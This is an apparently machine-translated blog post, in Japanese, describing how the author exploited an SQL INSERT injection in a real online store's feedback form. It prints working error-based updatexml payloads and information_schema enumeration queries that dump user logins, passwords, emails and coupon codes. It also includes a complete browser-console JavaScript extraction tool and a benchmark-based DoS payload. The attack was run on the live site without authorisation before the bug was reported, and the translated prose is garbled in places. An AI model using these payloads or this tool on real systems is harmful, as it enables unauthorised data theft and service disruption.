1つのオンラインストアでのSQL Insert Injection



長い間、SQLインジェクションに関する話はHabréには聞こえませんでした。 また、SQL INSERTインジェクションに関するライフストーリーはほとんどありません。 したがって、私は私に教えます。
叙情的な紹介
叙情的な紹介



それはすべて、B社のABruオンラインストアで折りたたみ可能な形で高価なものを購入したいという願望から始まりました。登録後、マネージャーに電子メールで連絡し、パッケージを受け取り、その内容を確認したところ、一部のハードウェアがひどく不足していることが判明しました。 必要なすべての完全なリストはなく、ボルト、ナット、ワッシャーのリストだけがありました。 私は組み立てを開始し、不足しているボルトがなくてはならない場所に到達しました。 そのため、見つからないハードウェアの説明を細心の注意を払って編集し、話をしたのと同じマネージャーの女の子にメールを送りました。 ストアの名誉のために、必要なほとんどすべてが2番目のパッケージによって送信されたと言う価値があります。 それで私は組み立てを始め、他の何かが欠けているのではないかと恐れて私の心の隅に追い込みました。 しかし、フィニッシュラインに到達すると、マニュアルと常識からの写真から判断すると、デバイスの約1/4が​​原則として十分ではないことが判明しました。 そのため、控えめな表現に関する最初の手紙の後に、さらに大規模な2番目の手紙が続き、総会は延期されました。

待機の第2週が過ぎたとき、私は少女マネージャーが休暇に行ったと自分自身を納得させることができました。 したがって、私は2週間前にもう一度彼女に手紙を送り、他の電子通信チャネルの検索に進みました-私は本当にモスクワに電話したくありませんでした。 まず最初に、同じメールが一般的な電子メールアドレスA@B.ruに送信され、すぐに返信が届きました。メールサーバーは、受信者のメールボックス<peasant> @ B.ruがオーバーフローしたため、メールの受信を拒否しました。 その後、サイトでフィードバックフォームが見つかりました。これは、現時点で私とオンラインストアをつなぐ最後のスレッドです。 まず、過密なメールボックスの問題について説明し、一重引用符を含む手紙の配信拒否に関するメッセージを挿入しました...



開始する



フィードバックフォームを介してエラーレポートを送信しようとすると、ページにエラーが数秒間表示され、MySQLの音声が推測されました。 そこで、ブラウザコンソールを開いてリクエストを繰り返し、サーバーの応答を確認しました。



Error displaying the error page: Application Instantiation Error: You have an error in your SQL syntax; at line 1 SQL=INSERT INTO ab_com_feedback (`id`, `ordering`, `state`, `checked_out`, `checked_out_time`, `created_by`, `name`, `email`, `phone`, `ask`, `answer`, `createdate`, `changedate`, `userans`) VALUES (NULL, '0', '1', '0', '2015-08-04 11:36:37', '', 'Max', '< >@gmail.com', '', ',     '<>@B.ru'    .', '', '2015-08-04 11:36:37', '0000-00-00 00:00:00', '0');
      
      





そのため、オンラインストアでSQL挿入挿入を見つけました。

まず、このトピックに関する価値のある資料をいくつか見つけました。 最も興味深いのは、Insert、Update、DeleteステートメントでのSQLインジェクション(Osanda Malith Jayathissa)です。 彼のおかげで、MySQL 5.1に登場したupdatexml関数に注目しました(つまり、機能しない場合は、対応する結論を導き出すことができます:
UpdateXML(xml_target、xpath_expr、new_xml)


関数を使用するポイントは、無効なXPath式(2番目の引数)を事前に作成することです。 これを行うために、Osandaは文字「〜」と連結することを提案します。 さて、ローカルのMySQLをチェックインします。

 mysql> select updatexml(1, '123', 0) from dual; +------------------------+ | updatexml(1, '123', 0) | +------------------------+ | NULL | +------------------------+ 1 row in set (0,00 sec) mysql> select updatexml(1, '~123', 0) from dual; ERROR 1105 (HY000): XPATH syntax error: '~123'
      
      





はい、そうです。 次に、ストアのメッセージ本文を作成します。 最初に受け取ったクエリは次のようになりました。

 message' or updatexml(1,concat(0x7e,(version())),0) or '', '0000-00-00 00:00:00', '0000-00-00 00:00:00', '1');--'
      
      





それから少し考えて、それを次のように減らしました。

 ' or updatexml(1,concat(0x7e,(version())),0) or '
      
      





オンラインストアの応答:

 Error displaying the error page: Application Instantiation Error: XPATH syntax error: '~5.5.41-MariaDB-log' SQL=INSERT INTO ab_com_feedback (`id`, `ordering`, `state`, `checked_out`, `checked_out_time`, `created_by`, `name`, `email`, `phone`, `ask`, `answer`, `createdate`, `changedate`, `userans`) VALUES (NULL, '0', '1', '0', '2015-08-04 12:39:12', '', 'Ken', 'ken@mailinator.com', '', '' or updatexml(1,concat(0x7e,(version())),0) or '', '', '2015-08-04 12:39:12', '0000-00-00 00:00:00', '0');
      
      





うまくいきました! MariaDB 5.5ではすべてが回転しています。 MySQLとの違いは最小限であり、バージョン5.5は多くの便利な演算子と関数をサポートしています。 そのような状況に典型的なデータを調べた後、次の情報を引き出しました。

 version: 5.5.41-MariaDB-log hostname: db-www user: A@ABru database: A
      
      





これで、完全なSQLクエリを実行できます。 まず第一に、興味のために、私はこれを書きます:

 ' or updatexml(0, concat(0x7e,(SELECT password FROM mysql.user WHERE user='root')), 0) or '
      
      





しかし、もちろん、彼は拒否されました。

 Error displaying the error page: Application Instantiation Error: SELECT command denied to user 'A'@'ABru' for table 'user' SQL=INSERT INTO ab_com_feedback (`id`, `ordering`, `state`, `checked_out`, `checked_out_time`, `created_by`, `name`, `email`, `phone`, `ask`, `answer`, `createdate`, `changedate`, `userans`) VALUES (NULL, '0', '1', '0', '2015-08-04 14:27:21', '', 'Ken', 'ken@mailinator.com', '', '' or updatexml(0, concat(0x7e,(SELECT password FROM mysql.user WHERE user='root')), 0) or '', '', '2015-08-04 14:27:21', '0000-00-00 00:00:00', '0');
      
      





次に、現在のデータベース内のテーブルのリストを取得する必要があります。 これを行うには、MySQL 5.0で利用可能なinformation_schemaメタテーブルを使用します。

 ' or updatexml(0, concat(0x7e,(SELECT concat(table_schema, ':', table_name) FROM information_schema.tables WHERE table_schema=database() LIMIT 0, 1)), 0) or '
      
      





LIMITステートメントの最初のパラメーターを変更することにより、現在のすべてのテーブルを反復処理できます。 私は十分を持っていました
最初の20個
  aa:cart aa:category aa:includes aa:items aa:layout aa:menu aa:aabb_ak_profiles aa:aabb_ak_stats aa:aabb_ak_storage aa:aabb_assets aa:aabb_associations aa:aabb_banner_clients aa:aabb_banner_tracks aa:aabb_banners aa:aabb_categories aa:aabb_com_feedback aa:aabb_com_photo_votes aa:aabb_com_photo_votes_comment aa:aabb_com_photo_votes_likes aa:aabb_com_wishlist
      
      







自動化することにしました。 これはAJAX POSTリクエストであり、サイトでjQueryが有効になっています。 一度に複数のクエリを送信する必要があります-これは非同期の作業なので、すぐに非同期ライブラリをロードし、それを使用して目的のテーブルのリストを取得することを決定しました。 判明した

多くの同時リクエストを作成して送信する非常にエレガントな機能ではありません
 $.getScript('https://raw.githubusercontent.com/caolan/async/master/lib/async.js'); (function() { var ans_start = " '~", //       ans_stop = "' SQL=", //    lim = 20, start_from = 0; //   AJAX- async.times(lim, function(i, next) { var injection = "' or updatexml(0, concat(0x7e,(SELECT table_name FROM information_schema.tables WHERE table_schema=database() limit "+ (start_from + i) +", 1)), 0) or '"; $.ajax({ url: '/feedback/post.php', method: 'POST', data: $.param({ data_email: 'undefined', data_email_body: 'undefined', data_email_subject: 'A B', type: 'feedback', name: 'Test', mail: 'test@mailinator.com', phone: '', feedbacktext: injection, else: '', recipient: 'A@B.ru', btn: '' }), success: function(resp) { next(null, resp.substring(resp.indexOf(ans_start) + ans_start.length, resp.indexOf(ans_stop))); }, error: function(jqXHR, textStatus) { next(textStatus); } }); }, function(err, results) { //       if (err) return console.error(err); window.INJ_RESULTS = results; //   ,         ,      -    - console.log(results.join('\n')); //         }); })();
      
      







したがって、最初の20個のテーブルのリストを取得しましたが、同時に多くの要求を送信するのはよくないことに気付きました(サーバーは20秒以内に最後の要求に応答しました)。 ストアの安定性を脅かすべきではないと判断し、async.times関数をasync.timesSeriesに変更して、後続の各要求が前の要求に対する応答を受信した後に送信されるようにしました。 limパラメーターを20から200に変更して、お茶を飲みました。 そして彼が戻ったとき、私の自由は
すべてのテーブルのリスト
 aa:cart aa:category <...> aa:aabb_finder_links aa:aabb_finder_links_terms0 aa:aabb_finder_links_terms1 <...> aa:aabb_jcomments_votes aa:aabb_jsecurelog aa:aabb_jshopping_addons <...> aa:aabb_jshopping_coupons <...> aa:aabb_jshopping_shipping_meth <...> aa:aabb_jshopping_usergroups aa:aabb_jshopping_users <...> aa:aabb_usergroups aa:aabb_users aa:aabb_viewlevels aa:aabb_weblinks aa:aabb_wf_profiles aa:aabb_xmap_items aa:aabb_xmap_sitemap aa:modules aa:orders aa:oshibka aa:params aa:reviews aa:slideshow aa:users
      
      







このリストから、2つの事実が明らかになりました。Joomlaは立っており、有用な情報の量は32文字に制限されています。 さらに、最初の文字(「〜」)は削除できません。つまり、31文字しかありません。 まあ、それほどではありません。 興味深いテーブルが多数ありました(3つのテーブル*ユーザーとaabb_jshopping_coupons)。 最初に、注入変数を変更してユーザーテーブルの構造を調べました。

 ' or updatexml(0, concat(0x7e,(SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 0,1)), 0) or '
      
      





 id, login, password, email, tel, name, firma, active, date, role
      
      





次に、 CONCAT_WS関数を使用したそのコンテンツ:

 ' or updatexml(0, concat(0x7e,(SELECT CONCAT_WS(':',id,login,password) FROM users LIMIT 0,1)), 0) or '
      
      





しかし、各レコードは情報が多すぎるために正確に31文字の長さであることが判明したため、この制限を最初に克服する必要がありました。 これを行うために、 SUBSTRING関数を使用し、再帰によってデータの新しいチャンクを実装することにしました。 結果は

ここに、 `ajax93t411`のようなクエリコンストラクターがあります。
 $.getScript('https://raw.githubusercontent.com/caolan/async/master/lib/async.js'); // ,     var ANS_START = " '~", ANS_STOP = "' SQL=", ANS_ERR = "Er", ANS_LIM = 31; //   // start_from  lim      // construct_req - ,     function ajax93t411(start_from, lim, construct_req) { //       start_from = start_from || 0; lim = lim || 1; //   . i, offset -    construct_req function req(i, offset, callback) { $.ajax({ url: '/feedback/post.php', method: 'POST', data: $.param({ data_email: 'undefined', data_email_body: 'undefined', data_email_subject: 'A B', type: 'feedback', name: 'Test', mail: 'test@mailinator.com', phone: '', feedbacktext: construct_req(start_from, i, offset), else: '', recipient: 'A@B.ru', btn: '' }), success: function(resp) { callback(null, resp.substring(resp.indexOf(ANS_START) + ANS_START.length, resp.indexOf(ANS_STOP))); }, error: function(jqXHR, textStatus) { callback(textStatus); } }); } //      31,     //   ,   function constructReq(i, full_answer, offset, next) { req(i, offset, function(err, answer) { if (err) return next(err, full_answer); full_answer += answer; if (answer.length == ANS_LIM) { constructReq(i, full_answer, offset + ANS_LIM, next); } else { next(null, full_answer); } }); } //       async.timesSeries(lim, function(i, next) { constructReq(i, '', 1, next); }, function(err, results) { if (err) return console.error(err); window.INJ_RESULTS = results; console.log(results.join(', ')); }); }
      
      







このアルゴリズムによれば、データはさらに長く引き出されますが、完全かつ完全に引き出されます。 これで、一般的なロジックとは別にクエリ自体を作成できます。

 function inj(start_from, i, offset) { return "' or updatexml(0, concat(0x7e,(SELECT SUBSTRING(concat_ws(':',id,login,password,email), "+ offset +", "+ ANS_LIM +") FROM users LIMIT "+ (start_from + i) +",1)), 0) or '" } ajax93t411(0, 30, inj)
      
      





ブラウザコンソールのユーザーテーブルの最初の30行。

 function inj(start_from, i, offset) { return "' or updatexml(0, concat(0x7e,(SELECT SUBSTRING(concat_ws(':',username,email,password), "+ offset +", "+ ANS_LIM +") FROM aabb_users LIMIT "+ (start_from + i) +",1)), 0) or '" } ajax93t411(0, 30, inj)
      
      





次に、最も興味深い点のみを説明します。

クーポン、税込 HabrとGiktaymsについては、期限切れのようです。 そして、私はすでに自分のおもちゃを買いました。

 function inj(start_from, i, offset) { return "' or updatexml(0, concat(0x7e,(SELECT SUBSTRING(concat_ws(':',coupon_code,coupon_value,coupon_start_date,coupon_expire_date), "+ offset +", "+ ANS_LIM +") FROM aabb_jshopping_coupons LIMIT "+ (start_from + i) +",1)), 0) or '" } ajax93t411(0, 30, inj)
      
      







使用可能なすべてのデータベースのすべてのフルレングステーブル:

 function inj(start_from, i, offset) { return "' or updatexml(0, concat(0x7e,(SELECT SUBSTRING(concat_ws(':', table_schema, table_name), "+ offset +", "+ ANS_LIM +") FROM information_schema.tables LIMIT "+ (start_from + i) +", 1)), 0) or '" } ajax93t411(62, 100, inj); //  62 -   information_schema ajax93t411(162, 100, inj);
      
      





判明したように、ABruオンラインストアはJoomlaで実行されるだけでなく、同じB.ruストアも同じサーバーで実行されます。 しかし、私は別のサイトの研究からの見通しを見ませんでした。 結局、私の目標は利益を上げることではありませんでした。 だから私はデータを読むのは良いと決めましたが...



何でも録音できますか?



結局のところ、いいえ。 サブクエリのみが利用可能です。 私はまだファイルを操作してみることにしました。 しかし、不注意な行動でオンラインストアを傷つけないようにするために、私は話を自分のマシンに移しました。
いくつかの経験
最も単純なテーブルを作成します。

 mysql> create database test; Query OK, 1 row affected (0,06 sec) mysql> create table t(id int, msg text); Query OK, 0 rows affected (0,70 sec) mysql> insert into t values (1, 'msg'); Query OK, 1 row affected (0,06 sec) mysql> select * from t; +------+------+ | id | msg | +------+------+ | 1 | msg | +------+------+ 1 row in set (0,00 sec)
      
      





SQL挿入インジェクションをシミュレートしてみましょう。

 mysql> insert into t values (1, '' or updatexml(1, concat('~', version()), 0) or ''); ERROR 1105 (HY000): XPATH syntax error: '~5.6.25-0ubuntu0.15.04.1' mysql> insert into t values (1, '' or updatexml(1, concat('~', '1234567890123456789012345678901234567890'), 0) or ''); ERROR 1105 (HY000): XPATH syntax error: '~1234567890123456789012345678901'
      
      





同じ32文字の制限。



ファイルへの出力を試してみましょう。

 mysql> select 1 from dual into outfile 'test.txt'; Query OK, 1 row affected (0,00 sec) $ sudo ls -la /var/lib/mysql/test/  124 drwx------ 2 mysql mysql 4096 . 11 18:07 . drwx------ 12 mysql mysql 4096 . 11 17:50 .. -rw-rw---- 1 mysql mysql 65 . 11 17:50 db.opt -rw-rw-rw- 1 mysql mysql 2 . 11 18:07 test.txt -rw-rw---- 1 mysql mysql 8584 . 11 17:52 t.frm -rw-rw---- 1 mysql mysql 98304 . 11 17:52 t.ibd mysql> insert into t values (1, '' or updatexml(1, concat('~', (select 1 from dual into outfile 'test.txt')), 0) or ''); ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'into outfile 'test.txt')), 0) or '')' at line 1
      
      





期待されていますが、確認する価値があります。 ファイルを読んでみましょう。 そのため、通常の形式で表示されます。

 mysql> LOAD DATA INFILE 'test.txt' into table t; Query OK, 1 row affected, 1 warning (0,08 sec) Records: 1 Deleted: 0 Skipped: 0 Warnings: 1 mysql> select * from t; +------+------+ | id | msg | +------+------+ | 1 | msg | | 1 | NULL | +------+------+ 2 rows in set (0,00 sec)
      
      





ただし、INSERT INTO内でも機能しません。

 mysql> insert into t values (1, '' or updatexml(1, concat('~', (LOAD DATA INFILE 'test.txt' into table t)), 0) or ''); ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'LOAD DATA INFILE 'test.txt' into table t)), 0) or '')' at line 1 mysql> insert into t values (1, '' or updatexml(1, concat('~', (LOAD DATA INFILE 'test.txt')), 0) or ''); ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'LOAD DATA INFILE 'test.txt')), 0) or '')' at line 1
      
      





いずれにせよ、オンラインストアに関しては、たとえばPHPシェルを作成するためのサイトへのフルパスがわかりません。





オンラインストアに投稿
手紙
こんにちは。



サイトでエラーを偶然発見しました。

ページABru <path>、フィードバックフォーム。

名前と電子メールアドレスを入力し、メッセージ本文に一重引用符( ')を使用すると、[送信]をクリックした後、使用したDBMSからのエラーが画面にしばらく表示されます。 メッセージテキストを読んで調整すると、データベースに保存されている情報を取得できます。



エラーをできる限り早く修正し、プログラマーが作成したすべてのモジュール/ページでこのような問題をチェックし、この問題の原因を閉じることをお勧めします。

わかった
答え
こんにちは、マキシム。



コメントありがとうございます。



よろしく

Ab

考えて、送った
別の手紙
気にしない場合は、もちろんサイトや会社への直接および間接的なリンクなしで記事に私の「スポーツへの関心」を説明します。 念のため、問題が修正されたときにお知らせください。





翌日



2番目の文字に対する答えはありません。 いいでしょう ちょうど1日後、私はフィードバックフォームで同じページに行きました。 これで、すべてのスペシャルが入力フィールドでフィルタリングされます。 もちろん、クライアント側のキャラクター。 まあ、よくやった、これが本当のエラーを修正するための時間のための単なるパッチであることを望むことができるだけです。 それまでの間、私は研究を続けることにしました-最後まで理解したいです。



判明したように、MariaDBからの回答のエラーテキストの有用な部分は、常に32文字ではありません。 ロシア語のテキストを取得しようとすると、16文字しか取得できません。 MySQLで確認-同じ。 これは、制限が32文字ではなく、32バイトであることを意味します。 さて、ajax93t411ユーティリティを再編集しました

ajax93t411.js
 var ANS_START = " '~", ANS_STOP = "' SQL=", ANS_LIM = 31; function ajax93t411(start_from, lim, construct_req) { start_from = start_from || 0; lim = lim || 1; // Can be -1. -1 if for "while no Err" function req(i, offset, callback) { $.ajax({ //-- All this params is for customization. Feel free url: '/feedback/post.php', method: 'POST', data: $.param({ data_email: 'undefined', data_email_body: 'undefined', data_email_subject: 'A B', type: 'feedback', name: 'Test', mail: 'test@mailinator.com', phone: '', feedbacktext: construct_req(start_from, i, offset), // Don't forget about this function to include else: '', recipient: 'A@B.ru', btn: '' } //--- ), success: function(resp) { var answer = resp.substring(resp.indexOf(ANS_START) + ANS_START.length, resp.indexOf(ANS_STOP)); if (answer == ANS_ERR) { callback(answer); } else { callback(null, answer); } }, error: function(jqXHR, textStatus) { callback(textStatus); } }); } function constructReq(i, full_answer, offset, next) { req(i, offset, function(err, answer) { if (err) return next(err, full_answer); full_answer += answer; if (answer.length > 0) { constructReq(i, full_answer, offset + answer.length, next); } else { $('body').append('<p>'+ full_answer +'</p>'); // Include each new result into webpage of target site. Just for usability. next(null, full_answer); } }); } function timesSeries(lim, i, results, callback) { if (i < lim) { constructReq(i, '', 1, function(err, answer) { if (err) return callback(err, results); results.push(answer); timesSeries(lim, i + 1, results, callback); }); } else { callback(null, results); } } function untilErrSeries(i, results, callback) { constructReq(i, '', 1, function(err, answer) { if (err) return callback(err, results); results.push(answer); untilErrSeries(i + 1, results, callback); }); } function complete(err, results) { if (err) console.error(err); window.INJ_RESULTS = results; // Keep all results into the global variable. Just for usability. console.log('Done'); } $('body').append('<p><b>New Request!</b></p>'); if (lim > 0) { timesSeries(lim, 0, [], complete); } else { // lim < 0 untilErrSeries(0, [], complete); } }
      
      







これで、プログラムは一定の長さに依存しなくなりましたが、エラーが返されるまで(つまり、エラーテキストを含む回答がプログラムが予期する形式ではない)行の終わりを探し続けます。 はい、もう少しリクエストがあります。 ただし、非ラテン文字エンコードのテキストには問題はありません。 さらに、非同期ライブラリへの依存関係を取り除きました(結果の開発とテストの速度のために存在していました)。 また、受信する必要があるテーブル内の行の特定の数を設定するのではなく、再帰的にすべての使用可能になる(エラーの前に)機能を追加しました。 また、作業結果の出力をサイトページに直接追加したため、見やすくなりました。



そのような脆弱性の恐ろしい結果は可能ですか?



既にわかったように、ファイルに何かを書き込んだり、ファイルから読み取ったりすることは、たとえユーザーがそうする権利を持っていても機能しません。 しかし、私たちのポケットには、パスワードとメールが記載されたテーブルがあります。 すべてのユーザーと管理者のアドレス。 個人的に、私はそれらを拾ってサイトに入ろうとさえしませんでした-私はそれを必要としません。 それにもかかわらず、現在のデータベースから情報を読み取る可能性の事実、そして私たちの場合は隣接するデータベースから情報を読み取る可能性の事実を述べることができます。

この脆弱性が発生するもう1つの可能性は、次のような置換を伴うDoS攻撃です。

 ' or updatexml(0, concat(0x7e,(select benchmark(10000000000000000000000000000000000000000000000, encode('hello', 'world')))), 0) or '
      
      







一週間で



書くことにしました

別の手紙
こんにちは



現在のパッチでは脆弱性が修正されないことを理解していますか?



以前のように答えはありませんでした。



PS:この記事は、脆弱性が発見されてから13日後に公開されました。 オンラインストアの代表者は連絡を取りません。



All Articles